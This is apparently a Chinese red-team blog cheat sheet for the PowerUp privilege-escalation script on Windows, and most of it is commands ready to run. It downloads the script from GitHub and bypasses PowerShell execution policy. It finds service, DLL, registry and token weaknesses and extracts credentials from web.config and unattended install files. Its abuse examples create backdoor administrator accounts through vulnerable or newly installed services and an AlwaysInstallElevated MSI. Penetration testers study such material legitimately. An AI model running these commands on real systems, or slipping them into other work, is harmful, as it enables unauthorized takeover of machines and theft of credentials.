// 红队渗透 · 2025-05-16

提权脚本Powerup命令备忘单

1. 获取与加载

  • 从 GitHub 下载:
    (New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
  • 本地加载:
    Import-Module .\PowerUp.ps1
  • 绕过执行策略:
    powershell.exe -ep Bypass -File PowerUp.ps1

2. 场景化使用

场景 1:快速全面扫描提权机会
  • 需求:快速了解目标系统所有潜在提权路径。
  • 命令:
    Invoke-AllChecks
  • 用途:扫描所有漏洞向量(如服务、注册表、DLL 劫持等),输出详细结果及建议的滥用函数。
  • 扩展:生成 HTML 报告,便于分析:
    Invoke-AllChecks -HTMLReport
  • 适用场景:渗透测试初期,需全面摸底系统配置。
场景 2:检查服务相关提权
  • 需求:发现可利用的服务配置错误(如未加引号路径或可修改服务)。
  • 命令:
    • 未加引号服务路径:
      Get-ServiceUnquoted
    • 可修改服务:
      Get-ModifiableService
    • 可写服务二进制路径:
      Get-ModifiableServiceFile
  • 用途:识别服务配置漏洞,常用于服务路径劫持或替换服务二进制。
  • 利用示例:
    • 发现可修改服务后,添加管理员用户:
      Invoke-ServiceAbuse -Name "Vuln-Service" -Username "john" -Password "Password123!"
    • 利用未加引号路径:
      Write-ServiceBinary -Name "unquotedsvc" -Path "C:\Program Files\Unquoted Path Service\Common.exe" -Username "badmin" -Password "p4ssw0rd"
  • 适用场景:目标系统运行大量服务,需针对服务提权。
场景 3:查找 DLL 劫持机会
  • 需求:检查是否存在 DLL 劫持漏洞以提升权限。
  • 命令:
    • 查找 DLL 劫持:
      Invoke-FindDLLHijack
    • PATH 环境变量劫持:
      Invoke-FindPathDLLHijack
  • 用途:识别缺失或可写 DLL 的加载路径,适合植入恶意 DLL。
  • 适用场景:目标系统运行自定义应用程序,可能存在 DLL 加载问题。
场景 4:检查注册表提权路径
  • 需求:发现注册表配置错误(如自动运行程序或 UAC 绕过)。
  • 命令:
    • 自动运行程序:
      Get-RegistryAutoRun
    • AlwaysInstallElevated(UAC 绕过):
      Get-RegistryAlwaysInstallElevated
  • 利用示例:
    • 利用 AlwaysInstallElevated:
      Write-UserAddMSI
  • 适用场景:目标系统配置了自动运行程序或启用了高权限安装策略。
场景 5:提取凭据与配置文件
  • 需求:从系统配置文件中获取敏感凭据。
  • 命令:
    • Web 配置文件凭据:
      Get-Webconfig
    • Unattended.xml 凭据:
      Get-UnattendedInstallFile
  • 用途:提取未加密的凭据,获取管理员账户或服务账户信息。
  • 适用场景:目标系统为 Web 服务器或存在自动安装配置文件。
场景 6:检查令牌与权限
  • 需求:了解当前用户的权限或令牌状态,寻找特权提升机会。
  • 命令:
    • 进程令牌权限:
      Get-ProcessTokenPrivilege
    • 用户 SID 组:
      Get-ProcessTokenGroup
  • 利用示例:
    • 启用特权(如 SeDebugPrivilege):
      Enable-Privilege -Privilege "SeDebugPrivilege"
  • 适用场景:当前用户拥有潜在高权限令牌,需进一步利用。
场景 7:创建恶意服务提权
  • 需求:通过安装自定义服务执行高权限命令。
  • 命令:
    Install-ServiceBinary -Name "EvilService" -Command "net user hacker Pass123! /add"
  • 用途:创建新服务以运行提权命令,适合无现成漏洞但有服务创建权限的场景。
  • 适用场景:目标系统允许低权限用户创建服务。

3. 输出与记录

  • 保存结果:
    Invoke-AllChecks | Tee-Object -FilePath C:\Users\Public\report.txt
  • 生成 HTML 报告:
    Invoke-AllChecks -HTMLReport
  • 用途:便于整理分析或提交测试报告。

4. 实用提示

  • 运行环境:Windows 系统,PowerShell 2.0+,低权限用户运行以发现提权路径。
  • 注意事项:
    • 确认服务可重启(CanRestart: True)再利用。
    • 测试前评估命令影响,避免破坏系统。
    • 优先手动验证 Invoke-AllChecks 结果,避免直接运行自动提权。
  • 获取帮助:
    Get-Help <Cmdlet-Name> -Full
    示例:Get-Help Get-ModifiableService -Full

原文 https://blog.csdn.net/2301_79518550/article/details/147878547